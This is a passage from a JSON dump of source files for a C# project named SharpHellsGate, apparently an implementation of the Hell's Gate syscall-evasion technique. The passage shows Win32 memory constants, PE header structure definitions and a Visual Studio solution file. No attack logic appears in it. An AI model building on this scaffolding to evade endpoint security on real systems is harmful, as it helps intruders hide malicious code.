0x08;\r\n        public static UInt32 PAGE_EXECUTE { get; } = 0x10;\r\n        public static UInt32 PAGE_EXECUTE_READ { get; } = 0x20;\r\n        public static UInt32 PAGE_EXECUTE_READWRITE { get; } = 0x40;\r\n        public static UInt32 PAGE_EXECUTE_WRITECOPY { get; } = 0x80;\r\n        public static UInt32 PAGE_GUARD { get; } = 0x100;\r\n        public static UInt32 PAGE_NOCACHE { get; } = 0x200;    \r\n        public static UInt32 PAGE_WRITECOMBINE { get; } = 0x400;  \r\n        public static UInt32 PAGE_GRAPHICS_NOACCESS { get; } = 0x0800;\r\n        public static UInt32 PAGE_GRAPHICS_READONLY { get; } = 0x1000;\r\n        public static UInt32 PAGE_GRAPHICS_READWRITE { get; } = 0x2000;\r\n        public static UInt32 PAGE_GRAPHICS_EXECUTE { get; } = 0x4000;\r\n        public static UInt32 PAGE_GRAPHICS_EXECUTE_READ { get; } = 0x8000;\r\n        public static UInt32 PAGE_GRAPHICS_EXECUTE_READWRITE { get; } = 0x10000;\r\n        public static UInt32 PAGE_GRAPHICS_COHERENT { get; } = 0x20000;\r\n        public static UInt32 PAGE_ENCLAVE_THREAD_CONTROL { get; } = 0x80000000;\r\n        public static UInt32 PAGE_REVERT_TO_FILE_MAP { get; } = 0x80000000;\r\n        public static UInt32 PAGE_TARGETS_NO_UPDATE { get; } = 0x40000000;\r\n        public static UInt32 PAGE_TARGETS_INVALID { get; } = 0x40000000;\r\n        public static UInt32 PAGE_ENCLAVE_UNVALIDATED { get; } = 0x20000000;\r\n        public static UInt32 PAGE_ENCLAVE_DECOMMIT { get; } = 0x10000000;\r\n        public static UInt32 MEM_COMMIT { get; } = 0x00001000;\r\n        public static UInt32 MEM_RESERVE { get; } = 0x00002000;\r\n        public static UInt32 MEM_REPLACE_PLACEHOLDER { get; } = 0x00004000;\r\n        public static UInt32 MEM_RESERVE_PLACEHOLDER { get; } = 0x00040000; \r\n        public static UInt32 MEM_RESET { get; } = 0x00080000  ;\r\n        public static UInt32 MEM_TOP_DOWN { get; } = 0x00100000;\r\n        public static UInt32 MEM_WRITE_WATCH { get; } = 0x00200000;\r\n        public static UInt32 MEM_PHYSICAL { get; } = 0x00400000;\r\n        public static UInt32 MEM_ROTATE { get; } = 0x00800000;\r\n        public static UInt32 MEM_DIFFERENT_IMAGE_BASE_OK { get; } = 0x00800000;\r\n        public static UInt32 MEM_RESET_UNDO { get; } = 0x01000000;\r\n        public static UInt32 MEM_LARGE_PAGES { get; } = 0x20000000;\r\n        public static UInt32 MEM_4MB_PAGES { get; } = 0x80000000;\r\n        public static UInt32 MEM_64K_PAGES { get; } = (MEM_LARGE_PAGES | MEM_PHYSICAL);\r\n        public static UInt32 MEM_UNMAP_WITH_TRANSIENT_BOOST { get; } = 0x00000001; \r\n        public static UInt32 MEM_COALESCE_PLACEHOLDERS { get; } = 0x00000001; \r\n        public static UInt32 MEM_PRESERVE_PLACEHOLDER { get; } = 0x00000002;\r\n        public static UInt32 MEM_DECOMMIT { get; } = 0x00004000;\r\n        public static UInt32 MEM_RELEASE { get; } = 0x00008000;\r\n        public static UInt32 MEM_FREE { get; } = 0x00010000;\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate/Win32/Structures.cs",
    "content": "﻿using System;\r\nusing System.Runtime.InteropServices;\r\n\r\nnamespace SharpHellsGate.Win32 {\r\n    public static class Structures {\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_DOS_HEADER {\r\n            public UInt16 e_magic;       /*+0x000*/\r\n            public UInt16 e_cblp;        /*+0x002*/\r\n            public UInt16 e_cp;          /*+0x004*/\r\n            public UInt16 e_crlc;        /*+0x006*/\r\n            public UInt16 e_cparhdr;     /*+0x008*/\r\n            public UInt16 e_minalloc;    /*+0x00a*/\r\n            public UInt16 e_maxalloc;    /*+0x00c*/\r\n            public UInt16 e_ss;          /*+0x00e*/\r\n            public UInt16 e_sp;          /*+0x010*/\r\n            public UInt16 e_csum;        /*+0x012*/\r\n            public UInt16 e_ip;          /*+0x014*/\r\n            public UInt16 e_cs;          /*+0x016*/\r\n            public UInt16 e_lfarlc;      /*+0x018*/\r\n            public UInt16 e_ovno;        /*+0x01a*/\r\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\r\n            public UInt16[] e_res;       /*+0x01c*/\r\n            public UInt16 e_oemid;       /*+0x024*/\r\n            public UInt16 e_oeminfo;     /*+0x026*/\r\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]\r\n            public UInt16[] e_res2;      /*+0x028*/\r\n            public UInt32 e_lfanew;      /*+0x03c*/\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_FILE_HEADER {\r\n            public UInt16 Machine;               /*+0x000*/\r\n            public UInt16 NumberOfSections;      /*+0x002*/\r\n            public UInt32 TimeDateStamp;         /*+0x004*/\r\n            public UInt32 PointerToSymbolTable;  /*+0x008*/\r\n            public UInt32 NumberOfSymbols;       /*+0x00c*/\r\n            public UInt16 SizeOfOptionalHeader;  /*+0x010*/\r\n            public UInt16 Characteristics;       /*+0x012*/\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_DATA_DIRECTORY {\r\n            public UInt32 VirtualAddress;  /*+0x000*/\r\n            public UInt32 Size;            /*+0x004*/\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_OPTIONAL_HEADER64 {\r\n            public UInt16 Magic;                             /*+0x000*/\r\n            public Byte MajorLinkerVersion;                  /*+0x002*/\r\n            public Byte MinorLinkerVersion;                  /*+0x003*/\r\n            public UInt32 SizeOfCode;                        /*+0x004*/\r\n            public UInt32 SizeOfInitializedDatal;            /*+0x008*/\r\n            public UInt32 SizeOfUninitializedData;           /*+0x00c*/\r\n            public UInt32 AddressOfEntryPoint;               /*+0x010*/\r\n            public UInt32 BaseOfCode;                        /*+0x014*/\r\n            public UInt64 ImageBasel;                        /*+0x018*/\r\n            public UInt32 SectionAlignment;                  /*+0x020*/\r\n            public UInt32 FileAlignment;                     /*+0x024*/\r\n            public UInt16 MajorOperatingSystemVersion;       /*+0x028*/\r\n            public UInt16 MinorOperatingSystemVersion;       /*+0x02a*/\r\n            public UInt16 MajorImageVersion;                 /*+0x02c*/\r\n            public UInt16 MinorImageVersion;                 /*+0x02e*/\r\n            public UInt16 MajorSubsystemVersion;             /*+0x030*/\r\n            public UInt16 MinorSubsystemVersion;             /*+0x032*/\r\n            public UInt32 Win32VersionValue;                 /*+0x034*/\r\n            public UInt32 SizeOfImage;                       /*+0x038*/\r\n            public UInt32 SizeOfHeaders;                     /*+0x03c*/\r\n            public UInt32 CheckSum;                          /*+0x040*/\r\n            public UInt16 Subsystem;                         /*+0x044*/\r\n            public UInt16 DllCharacteristics;                /*+0x046*/\r\n            public UInt64 SizeOfStackReserve;                /*+0x048*/\r\n            public UInt64 SizeOfStackCommit;                 /*+0x050*/\r\n            public UInt64 SizeOfHeapReserve;                 /*+0x058*/\r\n            public UInt64 SizeOfHeapCommit;                  /*+0x060*/\r\n            public UInt32 LoaderFlags;                       /*+0x068*/\r\n            public UInt32 NumberOfRvaAndSizes;               /*+0x06c*/\r\n            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]\r\n            public IMAGE_DATA_DIRECTORY[] DataDirectory;     /*+0x070*/\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_NT_HEADERS64 {\r\n            public UInt32 Signature;                           /*+0x000*/\r\n            public IMAGE_FILE_HEADER FileHeader;               /*+0x004*/\r\n            public IMAGE_OPTIONAL_HEADER64 OptionalHeader;     /*+0x018*/\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_EXPORT_DIRECTORY {\r\n            public UInt32 Characteristics;         /*+0x000*/\r\n            public UInt32 TimeDateStamp;           /*+0x004*/\r\n            public UInt16 MajorVersion;            /*+0x008*/\r\n            public UInt16 MinorVersion;            /*+0x00a*/\r\n            public UInt32 Name;                    /*+0x00c*/\r\n            public UInt32 Base;                    /*+0x010*/\r\n            public UInt32 NumberOfFunctions;       /*+0x014*/\r\n            public UInt32 NumberOfNames;           /*+0x018*/\r\n            public UInt32 AddressOfFunctions;      /*+0x01c*/\r\n            public UInt32 AddressOfNames;          /*+0x020*/\r\n            public UInt32 AddressOfNameOrdinals;   /*+0x024*/\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Sequential, Pack = 1)]\r\n        public struct IMAGE_SECTION_HEADER {\r\n            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]\r\n            public string Name;                    /*+0x000*/\r\n            public UInt32 Misc;                    /*+0x008*/\r\n            public UInt32 VirtualAddress;          /*+0x00c*/\r\n            public UInt32 SizeOfRawData;           /*+0x010*/\r\n            public UInt32 PointerToRawData;        /*+0x014*/\r\n            public UInt32 PointerToRelocations;    /*+0x018*/\r\n            public UInt32 PointerToLinenumbers;    /*+0x01c*/\r\n            public UInt16 NumberOfRelocations;     /*+0x020*/\r\n            public UInt16 NumberOfLinenumbers;     /*+0x022*/\r\n            public UInt32 Characteristics;         /*+0x024*/\r\n        }\r\n\r\n        [StructLayout(LayoutKind.Explicit, Size = 1)]\r\n        public struct LARGE_INTEGER {\r\n            [FieldOffset(0)] public Int64 QuadPart;  /*+0x000*/\r\n            [FieldOffset(0)] public UInt32 LowPart;   /*+0x000*/\r\n            [FieldOffset(4)] public UInt32 HighPart;  /*+0x004*/\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "SharpHellsGate.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 16\r\nVisualStudioVersion = 16.0.30114.105\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"SharpHellsGate\", \"SharpHellsGate\\SharpHellsGate.csproj\", \"{F6A46854-FDC2-4F27-9051-5C7BE8E68733}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{F6A46854-FDC2-4F27-9051-5C7BE8E68733}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {CA2A2F5F-A135-4771-A014-A6F2C0D24538}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  }
]